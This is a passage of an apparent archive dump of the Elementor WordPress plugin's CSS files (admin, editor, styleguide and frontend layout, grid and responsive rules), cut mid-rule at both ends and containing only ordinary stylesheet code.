h2{font-size:28px;margin:0;line-height:1.6}.e-a-apps .e-a-page-title p{margin-block-start:0;font-size:16px}.e-a-apps .e-a-page-title p a{color:inherit}.e-a-apps .e-a-page-footer{margin:60px auto;text-align:center}.e-a-apps .e-a-page-footer p{max-width:1200px;margin:auto}.e-a-apps .e-a-list{display:grid;grid-gap:30px;grid-template-columns:repeat(auto-fit,minmax(300px,1fr))}.e-a-apps .e-a-item{border:var(--e-a-border);border-radius:var(--e-a-border-radius);display:flex;padding:20px 24px;flex-direction:column;align-items:flex-start;transition:var(--e-a-transition-hover)}.e-a-apps .e-a-item:hover{border-color:var(--e-a-border-color-bold)}.e-a-apps .e-a-heading{display:flex;justify-content:space-between;align-items:flex-start;width:100%}.e-a-apps .e-a-heading .e-a-img{border-radius:var(--e-a-border-radius);width:70px;display:flex;margin-block-end:20px}.e-a-apps .e-a-heading .e-a-badge{background:#ecfdf5;color:#047857;border-radius:100px;padding:3px 8px}.e-a-apps .e-a-author,.e-a-apps .e-a-title{margin:0;line-height:1.6}.e-a-apps .e-a-author{font-size:12px}.e-a-apps .e-a-author a{color:inherit}.e-a-apps .e-a-desc{flex-grow:1}.e-a-apps .e-a-offering{font-size:12px;font-style:italic}.e-a-apps .e-a-actions{display:flex;justify-content:space-between;align-items:center;width:100%;margin-block-start:20px}.e-a-apps .e-a-actions a{text-decoration:none}.e-a-apps .e-a-actions .e-accent{margin-inline-start:auto}.e-a-apps .e-a-actions .e-a-learn-more{color:#4338ca;font-weight:500}assets/css/modules/apps/admin.css000064400000003714147206604650013072 0ustar00body.elementor-apps-page { background: var(--e-a-color-white); } .e-a-apps .e-a-page-title { margin: 30px auto 60px; max-width: 770px; text-align: center; } .e-a-apps .e-a-page-title h2 { font-size: 28px; margin: 0; line-height: 1.6; } .e-a-apps .e-a-page-title p { margin-block-start: 0; font-size: 16px; } .e-a-apps .e-a-page-title p a { color: inherit; } .e-a-apps .e-a-page-footer { margin: 60px auto; text-align: center; } .e-a-apps .e-a-page-footer p { max-width: 1200px; margin: auto; } .e-a-apps .e-a-list { display: grid; grid-gap: 30px; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); } .e-a-apps .e-a-item { border: var(--e-a-border); border-radius: var(--e-a-border-radius); display: flex; padding: 20px 24px; flex-direction: column; align-items: flex-start; transition: var(--e-a-transition-hover); } .e-a-apps .e-a-item:hover { border-color: var(--e-a-border-color-bold); } .e-a-apps .e-a-heading { display: flex; justify-content: space-between; align-items: flex-start; width: 100%; } .e-a-apps .e-a-heading .e-a-img { border-radius: var(--e-a-border-radius); width: 70px; display: flex; margin-block-end: 20px; } .e-a-apps .e-a-heading .e-a-badge { background: #ECFDF5; color: #047857; border-radius: 100px; padding: 3px 8px; } .e-a-apps .e-a-title, .e-a-apps .e-a-author { margin: 0; line-height: 1.6; } .e-a-apps .e-a-author { font-size: 12px; } .e-a-apps .e-a-author a { color: inherit; } .e-a-apps .e-a-desc { flex-grow: 1; } .e-a-apps .e-a-offering { font-size: 12px; font-style: italic; } .e-a-apps .e-a-actions { display: flex; justify-content: space-between; align-items: center; width: 100%; margin-block-start: 20px; } .e-a-apps .e-a-actions a { text-decoration: none; } .e-a-apps .e-a-actions .e-accent { margin-inline-start: auto; } .e-a-apps .e-a-actions .e-a-learn-more { color: #4338CA; font-weight: 500; } /*# sourceMappingURL=admin.css.map */assets/css/modules/container-converter/editor.min.css000064400000000617147206604650017075 0ustar00.elementor-control-convert_to_container .elementor-button.e-loading{font-size:0;width:42px;position:relative;pointer-events:none}.elementor-control-convert_to_container .elementor-button.e-loading:before{content:"\e8fb";font-family:eicons;font-size:12px;animation:eicon-spin 2s linear infinite;display:inline-block;position:absolute;left:50%;top:50%;margin-inline-start:-6px;margin-block-start:-6px}assets/css/modules/container-converter/editor.css000064400000000771147206604650016314 0ustar00.elementor-control-convert_to_container .elementor-button.e-loading { font-size: 0; width: 42px; position: relative; pointer-events: none; } .elementor-control-convert_to_container .elementor-button.e-loading::before { content: "\e8fb"; font-family: "eicons"; font-size: 12px; animation: eicon-spin 2s infinite linear; display: inline-block; position: absolute; left: 50%; top: 50%; margin-inline-start: -6px; margin-block-start: -6px; } /*# sourceMappingURL=editor.css.map */assets/css/modules/styleguide/styleguide.css000064400000001613147206604650015367 0ustar00body.e-styleguide-shown { overflow: hidden; } #e-styleguide-preview-dialog.dialog-styleguide-widget .dialog-styleguide-widget-content { width: 100%; height: 100%; max-width: 100%; max-height: 100%; border-radius: 0; top: 0 !important; left: 0 !important; overflow: scroll; } #e-styleguide-preview-dialog.dialog-styleguide-widget .dialog-styleguide-message { min-height: 100vh; padding: 0; overflow-x: hidden; text-align: initial; font-family: Roboto, sans-serif; } #e-styleguide-preview-dialog.dialog-styleguide-widget .e-styleguide-loader { position: absolute; top: 0; left: 0; height: 100%; width: 100%; display: flex; align-items: center; justify-content: center; } #e-styleguide-preview-dialog.dialog-styleguide-widget .e-styleguide-loader .eicon-loading { font-size: 25px; color: var(--e-a-color-txt-muted); } /*# sourceMappingURL=styleguide.css.map */assets/css/modules/styleguide/styleguide.min.css000064400000001350147206604650016147 0ustar00body.e-styleguide-shown{overflow:hidden}#e-styleguide-preview-dialog.dialog-styleguide-widget .dialog-styleguide-widget-content{width:100%;height:100%;max-width:100%;max-height:100%;border-radius:0;top:0!important;left:0!important;overflow:scroll}#e-styleguide-preview-dialog.dialog-styleguide-widget .dialog-styleguide-message{min-height:100vh;padding:0;overflow-x:hidden;text-align:initial;font-family:Roboto,sans-serif}#e-styleguide-preview-dialog.dialog-styleguide-widget .e-styleguide-loader{position:absolute;top:0;left:0;height:100%;width:100%;display:flex;align-items:center;justify-content:center}#e-styleguide-preview-dialog.dialog-styleguide-widget .e-styleguide-loader .eicon-loading{font-size:25px;color:var(--e-a-color-txt-muted)}assets/css/modules/notes/editor.min.css000064400000000165147206604650014234 0ustar00.elementor-panel-menu-item-notes .elementor-panel-menu-item-title-badge{font-size:16px;color:var(--e-a-color-accent)}assets/css/modules/notes/editor.css000064400000000250147206604650013445 0ustar00.elementor-panel-menu-item-notes .elementor-panel-menu-item-title-badge { font-size: 16px; color: var(--e-a-color-accent); } /*# sourceMappingURL=editor.css.map */assets/css/frontend.css000064400000212452147206604650011207 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-hidden { display: none; } .elementor-visibility-hidden { visibility: hidden; } .elementor-screen-only, .screen-reader-text, .screen-reader-text span, .ui-helper-hidden-accessible { position: absolute; top: -10000em; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .elementor-clearfix:after { content: ""; display: block; clear: both; width: 0; height: 0; } .e-logo-wrapper { background: var(--e-a-bg-logo); display: inline-block; padding: 0.75em; border-radius: 50%; line-height: 1; } .e-logo-wrapper i { color: var(--e-a-color-logo); font-size: 1em; } .elementor *, .elementor *:before, .elementor *:after { box-sizing: border-box; } .elementor a { box-shadow: none; text-decoration: none; } .elementor hr { margin: 0; background-color: transparent; } .elementor img { height: auto; max-width: 100%; border: none; border-radius: 0; box-shadow: none; } .elementor .elementor-widget:not(.elementor-widget-text-editor):not(.elementor-widget-theme-post-content) figure { margin: 0; } .elementor embed, .elementor iframe, .elementor object, .elementor video { max-width: 100%; width: 100%; margin: 0; line-height: 1; border: none; } .elementor .elementor-background-video-container, .elementor .elementor-background-holder, .elementor .elementor-background { height: 100%; width: 100%; top: 0; left: 0; position: absolute; overflow: hidden; z-index: 0; direction: ltr; } .elementor .elementor-background-video-container { transition: opacity 1s; pointer-events: none; } .elementor .elementor-background-video-container.elementor-loading { opacity: 0; } .elementor .elementor-background-video-embed { max-width: none; } .elementor .elementor-background-video-embed, .elementor .elementor-background-video-hosted { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor .elementor-background-video { max-width: none; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor .elementor-html5-video { -o-object-fit: cover; object-fit: cover; } .elementor .elementor-background-overlay { height: 100%; width: 100%; top: 0; left: 0; position: absolute; } .elementor .elementor-background-slideshow { position: absolute; width: 100%; height: 100%; z-index: 0; top: 0; left: 0; } .elementor .elementor-background-slideshow__slide__image { width: 100%; height: 100%; background-position: center center; background-size: cover; } .elementor-widget-wrap > .elementor-element.elementor-absolute, .e-con > .elementor-element.elementor-absolute, .e-con-inner > .elementor-element.elementor-absolute { position: absolute; } .elementor-widget-wrap > .elementor-element.elementor-fixed, .e-con > .elementor-element.elementor-fixed, .e-con-inner > .elementor-element.elementor-fixed { position: fixed; } .elementor-widget-wrap .elementor-element.elementor-widget__width-auto, .elementor-widget-wrap .elementor-element.elementor-widget__width-initial { max-width: 100%; } @media (max-width: 1024px) { .elementor-widget-wrap .elementor-element.elementor-widget-tablet__width-auto, .elementor-widget-wrap .elementor-element.elementor-widget-tablet__width-initial { max-width: 100%; } } @media (max-width: 767px) { .elementor-widget-wrap .elementor-element.elementor-widget-mobile__width-auto, .elementor-widget-wrap .elementor-element.elementor-widget-mobile__width-initial { max-width: 100%; } } .elementor-element { --flex-direction: initial; --flex-wrap: initial; --justify-content: initial; --align-items: initial; --align-content: initial; --gap: initial; --flex-basis: initial; --flex-grow: initial; --flex-shrink: initial; --order: initial; --align-self: initial; flex-basis: var(--flex-basis); flex-grow: var(--flex-grow); flex-shrink: var(--flex-shrink); order: var(--order); align-self: var(--align-self); } .elementor-element.elementor-absolute, .elementor-element.elementor-fixed { z-index: 1; } .elementor-element:where(.e-con-full, .elementor-widget) { flex-direction: var(--flex-direction); flex-wrap: var(--flex-wrap); justify-content: var(--justify-content); align-items: var(--align-items); align-content: var(--align-content); gap: var(--gap); } .elementor-invisible { visibility: hidden; } .elementor-align-center { text-align: center; } .elementor-align-center .elementor-button { width: auto; } .elementor-align-right { text-align: right; } .elementor-align-right .elementor-button { width: auto; } .elementor-align-left { text-align: left; } .elementor-align-left .elementor-button { width: auto; } .elementor-align-justify .elementor-button { width: 100%; } .elementor-custom-embed-play { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } .elementor-custom-embed-play i { font-size: 100px; color: #fff; text-shadow: 1px 0 6px rgba(0, 0, 0, 0.3); } .elementor-custom-embed-play svg { height: 100px; width: 100px; fill: #fff; filter: drop-shadow(1px 0 6px rgba(0, 0, 0, 0.3)); } .elementor-custom-embed-play i, .elementor-custom-embed-play svg { opacity: 0.8; transition: all 0.5s; } .elementor-custom-embed-play.elementor-playing i { font-family: eicons; } .elementor-custom-embed-play.elementor-playing i:before { content: "\e8fb"; } .elementor-custom-embed-play.elementor-playing i, .elementor-custom-embed-play.elementor-playing svg { animation: eicon-spin 2s infinite linear; } .elementor-tag { display: inline-flex; } .elementor-ken-burns { transition-property: transform; transition-duration: 10s; transition-timing-function: linear; } .elementor-ken-burns--out { transform: scale(1.3); } .elementor-ken-burns--active { transition-duration: 20s; } .elementor-ken-burns--active.elementor-ken-burns--out { transform: scale(1); } .elementor-ken-burns--active.elementor-ken-burns--in { transform: scale(1.3); } @media (min-width: -1) { .elementor-widescreen-align-center { text-align: center; } .elementor-widescreen-align-center .elementor-button { width: auto; } .elementor-widescreen-align-right { text-align: right; } .elementor-widescreen-align-right .elementor-button { width: auto; } .elementor-widescreen-align-left { text-align: left; } .elementor-widescreen-align-left .elementor-button { width: auto; } .elementor-widescreen-align-justify .elementor-button { width: 100%; } } @media (max-width: -1) { .elementor-laptop-align-center { text-align: center; } .elementor-laptop-align-center .elementor-button { width: auto; } .elementor-laptop-align-right { text-align: right; } .elementor-laptop-align-right .elementor-button { width: auto; } .elementor-laptop-align-left { text-align: left; } .elementor-laptop-align-left .elementor-button { width: auto; } .elementor-laptop-align-justify .elementor-button { width: 100%; } } @media (max-width: -1) { .elementor-tablet_extra-align-center { text-align: center; } .elementor-tablet_extra-align-center .elementor-button { width: auto; } .elementor-tablet_extra-align-right { text-align: right; } .elementor-tablet_extra-align-right .elementor-button { width: auto; } .elementor-tablet_extra-align-left { text-align: left; } .elementor-tablet_extra-align-left .elementor-button { width: auto; } .elementor-tablet_extra-align-justify .elementor-button { width: 100%; } } @media (max-width: 1024px) { .elementor-tablet-align-center { text-align: center; } .elementor-tablet-align-center .elementor-button { width: auto; } .elementor-tablet-align-right { text-align: right; } .elementor-tablet-align-right .elementor-button { width: auto; } .elementor-tablet-align-left { text-align: left; } .elementor-tablet-align-left .elementor-button { width: auto; } .elementor-tablet-align-justify .elementor-button { width: 100%; } } @media (max-width: -1) { .elementor-mobile_extra-align-center { text-align: center; } .elementor-mobile_extra-align-center .elementor-button { width: auto; } .elementor-mobile_extra-align-right { text-align: right; } .elementor-mobile_extra-align-right .elementor-button { width: auto; } .elementor-mobile_extra-align-left { text-align: left; } .elementor-mobile_extra-align-left .elementor-button { width: auto; } .elementor-mobile_extra-align-justify .elementor-button { width: 100%; } } @media (max-width: 767px) { .elementor-mobile-align-center { text-align: center; } .elementor-mobile-align-center .elementor-button { width: auto; } .elementor-mobile-align-right { text-align: right; } .elementor-mobile-align-right .elementor-button { width: auto; } .elementor-mobile-align-left { text-align: left; } .elementor-mobile-align-left .elementor-button { width: auto; } .elementor-mobile-align-justify .elementor-button { width: 100%; } } :root { --page-title-display: block; } .elementor-page-title, h1.entry-title { display: var(--page-title-display); } @keyframes eicon-spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(359deg); } } .eicon-animation-spin { animation: eicon-spin 2s infinite linear; } .elementor-section { position: relative; } .elementor-section .elementor-container { display: flex; margin-right: auto; margin-left: auto; position: relative; } @media (max-width: 1024px) { .elementor-section .elementor-container { flex-wrap: wrap; } } .elementor-section.elementor-section-boxed > .elementor-container { max-width: 1140px; } .elementor-section.elementor-section-stretched { position: relative; width: 100%; } .elementor-section.elementor-section-items-top > .elementor-container { align-items: flex-start; } .elementor-section.elementor-section-items-middle > .elementor-container { align-items: center; } .elementor-section.elementor-section-items-bottom > .elementor-container { align-items: flex-end; } @media (min-width: 768px) { .elementor-section.elementor-section-height-full { height: 100vh; } .elementor-section.elementor-section-height-full > .elementor-container { height: 100%; } } .elementor-bc-flex-widget .elementor-section-content-top > .elementor-container > .elementor-column > .elementor-widget-wrap { align-items: flex-start; } .elementor-bc-flex-widget .elementor-section-content-middle > .elementor-container > .elementor-column > .elementor-widget-wrap { align-items: center; } .elementor-bc-flex-widget .elementor-section-content-bottom > .elementor-container > .elementor-column > .elementor-widget-wrap { align-items: flex-end; } .elementor-row { width: 100%; display: flex; } @media (max-width: 1024px) { .elementor-row { flex-wrap: wrap; } } .elementor-widget-wrap { position: relative; width: 100%; flex-wrap: wrap; align-content: flex-start; } .elementor:not(.elementor-bc-flex-widget) .elementor-widget-wrap { display: flex; } .elementor-widget-wrap > .elementor-element { width: 100%; } .elementor-widget-wrap.e-swiper-container { width: calc(100% - (var(--e-column-margin-left, 0px) + var(--e-column-margin-right, 0px))); } .elementor-widget { position: relative; } .elementor-widget:not(:last-child) { margin-bottom: 20px; } .elementor-widget:not(:last-child).elementor-widget__width-auto, .elementor-widget:not(:last-child).elementor-widget__width-initial, .elementor-widget:not(:last-child).elementor-absolute { margin-bottom: 0; } .elementor-column { position: relative; min-height: 1px; display: flex; } .elementor-column-wrap { width: 100%; position: relative; display: flex; } .elementor-column-gap-narrow > .elementor-column > .elementor-element-populated { padding: 5px; } .elementor-column-gap-default > .elementor-column > .elementor-element-populated { padding: 10px; } .elementor-column-gap-extended > .elementor-column > .elementor-element-populated { padding: 15px; } .elementor-column-gap-wide > .elementor-column > .elementor-element-populated { padding: 20px; } .elementor-column-gap-wider > .elementor-column > .elementor-element-populated { padding: 30px; } .elementor-inner-section .elementor-column-gap-no .elementor-element-populated { padding: 0; } @media (min-width: 768px) { .elementor-column.elementor-col-10, .elementor-column[data-col="10"] { width: 10%; } .elementor-column.elementor-col-11, .elementor-column[data-col="11"] { width: 11.111%; } .elementor-column.elementor-col-12, .elementor-column[data-col="12"] { width: 12.5%; } .elementor-column.elementor-col-14, .elementor-column[data-col="14"] { width: 14.285%; } .elementor-column.elementor-col-16, .elementor-column[data-col="16"] { width: 16.666%; } .elementor-column.elementor-col-20, .elementor-column[data-col="20"] { width: 20%; } .elementor-column.elementor-col-25, .elementor-column[data-col="25"] { width: 25%; } .elementor-column.elementor-col-30, .elementor-column[data-col="30"] { width: 30%; } .elementor-column.elementor-col-33, .elementor-column[data-col="33"] { width: 33.333%; } .elementor-column.elementor-col-40, .elementor-column[data-col="40"] { width: 40%; } .elementor-column.elementor-col-50, .elementor-column[data-col="50"] { width: 50%; } .elementor-column.elementor-col-60, .elementor-column[data-col="60"] { width: 60%; } .elementor-column.elementor-col-66, .elementor-column[data-col="66"] { width: 66.666%; } .elementor-column.elementor-col-70, .elementor-column[data-col="70"] { width: 70%; } .elementor-column.elementor-col-75, .elementor-column[data-col="75"] { width: 75%; } .elementor-column.elementor-col-80, .elementor-column[data-col="80"] { width: 80%; } .elementor-column.elementor-col-83, .elementor-column[data-col="83"] { width: 83.333%; } .elementor-column.elementor-col-90, .elementor-column[data-col="90"] { width: 90%; } .elementor-column.elementor-col-100, .elementor-column[data-col="100"] { width: 100%; } } @media (max-width: 479px) { .elementor-column.elementor-xs-10 { width: 10%; } .elementor-column.elementor-xs-11 { width: 11.111%; } .elementor-column.elementor-xs-12 { width: 12.5%; } .elementor-column.elementor-xs-14 { width: 14.285%; } .elementor-column.elementor-xs-16 { width: 16.666%; } .elementor-column.elementor-xs-20 { width: 20%; } .elementor-column.elementor-xs-25 { width: 25%; } .elementor-column.elementor-xs-30 { width: 30%; } .elementor-column.elementor-xs-33 { width: 33.333%; } .elementor-column.elementor-xs-40 { width: 40%; } .elementor-column.elementor-xs-50 { width: 50%; } .elementor-column.elementor-xs-60 { width: 60%; } .elementor-column.elementor-xs-66 { width: 66.666%; } .elementor-column.elementor-xs-70 { width: 70%; } .elementor-column.elementor-xs-75 { width: 75%; } .elementor-column.elementor-xs-80 { width: 80%; } .elementor-column.elementor-xs-83 { width: 83.333%; } .elementor-column.elementor-xs-90 { width: 90%; } .elementor-column.elementor-xs-100 { width: 100%; } } @media (max-width: 767px) { .elementor-column.elementor-sm-10 { width: 10%; } .elementor-column.elementor-sm-11 { width: 11.111%; } .elementor-column.elementor-sm-12 { width: 12.5%; } .elementor-column.elementor-sm-14 { width: 14.285%; } .elementor-column.elementor-sm-16 { width: 16.666%; } .elementor-column.elementor-sm-20 { width: 20%; } .elementor-column.elementor-sm-25 { width: 25%; } .elementor-column.elementor-sm-30 { width: 30%; } .elementor-column.elementor-sm-33 { width: 33.333%; } .elementor-column.elementor-sm-40 { width: 40%; } .elementor-column.elementor-sm-50 { width: 50%; } .elementor-column.elementor-sm-60 { width: 60%; } .elementor-column.elementor-sm-66 { width: 66.666%; } .elementor-column.elementor-sm-70 { width: 70%; } .elementor-column.elementor-sm-75 { width: 75%; } .elementor-column.elementor-sm-80 { width: 80%; } .elementor-column.elementor-sm-83 { width: 83.333%; } .elementor-column.elementor-sm-90 { width: 90%; } .elementor-column.elementor-sm-100 { width: 100%; } } @media (min-width: 768px) and (max-width: 1024px) { .elementor-column.elementor-md-10 { width: 10%; } .elementor-column.elementor-md-11 { width: 11.111%; } .elementor-column.elementor-md-12 { width: 12.5%; } .elementor-column.elementor-md-14 { width: 14.285%; } .elementor-column.elementor-md-16 { width: 16.666%; } .elementor-column.elementor-md-20 { width: 20%; } .elementor-column.elementor-md-25 { width: 25%; } .elementor-column.elementor-md-30 { width: 30%; } .elementor-column.elementor-md-33 { width: 33.333%; } .elementor-column.elementor-md-40 { width: 40%; } .elementor-column.elementor-md-50 { width: 50%; } .elementor-column.elementor-md-60 { width: 60%; } .elementor-column.elementor-md-66 { width: 66.666%; } .elementor-column.elementor-md-70 { width: 70%; } .elementor-column.elementor-md-75 { width: 75%; } .elementor-column.elementor-md-80 { width: 80%; } .elementor-column.elementor-md-83 { width: 83.333%; } .elementor-column.elementor-md-90 { width: 90%; } .elementor-column.elementor-md-100 { width: 100%; } } @media (min-width: -1) { .elementor-reverse-widescreen > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-widescreen > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-widescreen > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-widescreen > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-widescreen > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-widescreen > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-widescreen > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-widescreen > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-widescreen > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-widescreen > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: 1025px) and (max-width: -1) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: -1) and (max-width: -1) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: 1025px) and (max-width: -1) { .elementor-reverse-laptop > .elementor-container > :nth-child(1) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(2) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(3) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(4) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(5) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(6) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(7) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(8) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(9) { order: initial; } .elementor-reverse-laptop > .elementor-container > :nth-child(10) { order: initial; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-tablet_extra > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: 768px) and (max-width: 1024px) { .elementor-reverse-tablet > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-tablet > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-tablet > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-tablet > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: -1) and (max-width: 1024px) { .elementor-reverse-tablet > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-tablet > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-tablet > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-tablet > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-tablet > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-tablet > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-tablet > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-tablet > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-tablet > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-tablet > .elementor-container > :nth-child(10) { order: 1; } } @media (min-width: 768px) and (max-width: -1) { .elementor-reverse-tablet > .elementor-container > :nth-child(1) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(2) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(3) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(4) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(5) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(6) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(7) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(8) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(9) { order: initial; } .elementor-reverse-tablet > .elementor-container > :nth-child(10) { order: initial; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-mobile_extra > .elementor-container > :nth-child(10) { order: 1; } } @media (max-width: 767px) { .elementor-reverse-mobile > .elementor-container > :nth-child(1) { order: 10; } .elementor-reverse-mobile > .elementor-container > :nth-child(2) { order: 9; } .elementor-reverse-mobile > .elementor-container > :nth-child(3) { order: 8; } .elementor-reverse-mobile > .elementor-container > :nth-child(4) { order: 7; } .elementor-reverse-mobile > .elementor-container > :nth-child(5) { order: 6; } .elementor-reverse-mobile > .elementor-container > :nth-child(6) { order: 5; } .elementor-reverse-mobile > .elementor-container > :nth-child(7) { order: 4; } .elementor-reverse-mobile > .elementor-container > :nth-child(8) { order: 3; } .elementor-reverse-mobile > .elementor-container > :nth-child(9) { order: 2; } .elementor-reverse-mobile > .elementor-container > :nth-child(10) { order: 1; } .elementor-column { width: 100%; } } ul.elementor-icon-list-items.elementor-inline-items { display: flex; flex-wrap: wrap; } ul.elementor-icon-list-items.elementor-inline-items .elementor-inline-item { word-break: break-word; } .elementor-grid { display: grid; grid-column-gap: var(--grid-column-gap); grid-row-gap: var(--grid-row-gap); } .elementor-grid .elementor-grid-item { min-width: 0; } .elementor-grid-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } @media (min-width: -1) { .elementor-grid-widescreen-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-widescreen-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-widescreen-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-widescreen-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-widescreen-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-widescreen-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-widescreen-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-widescreen-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } 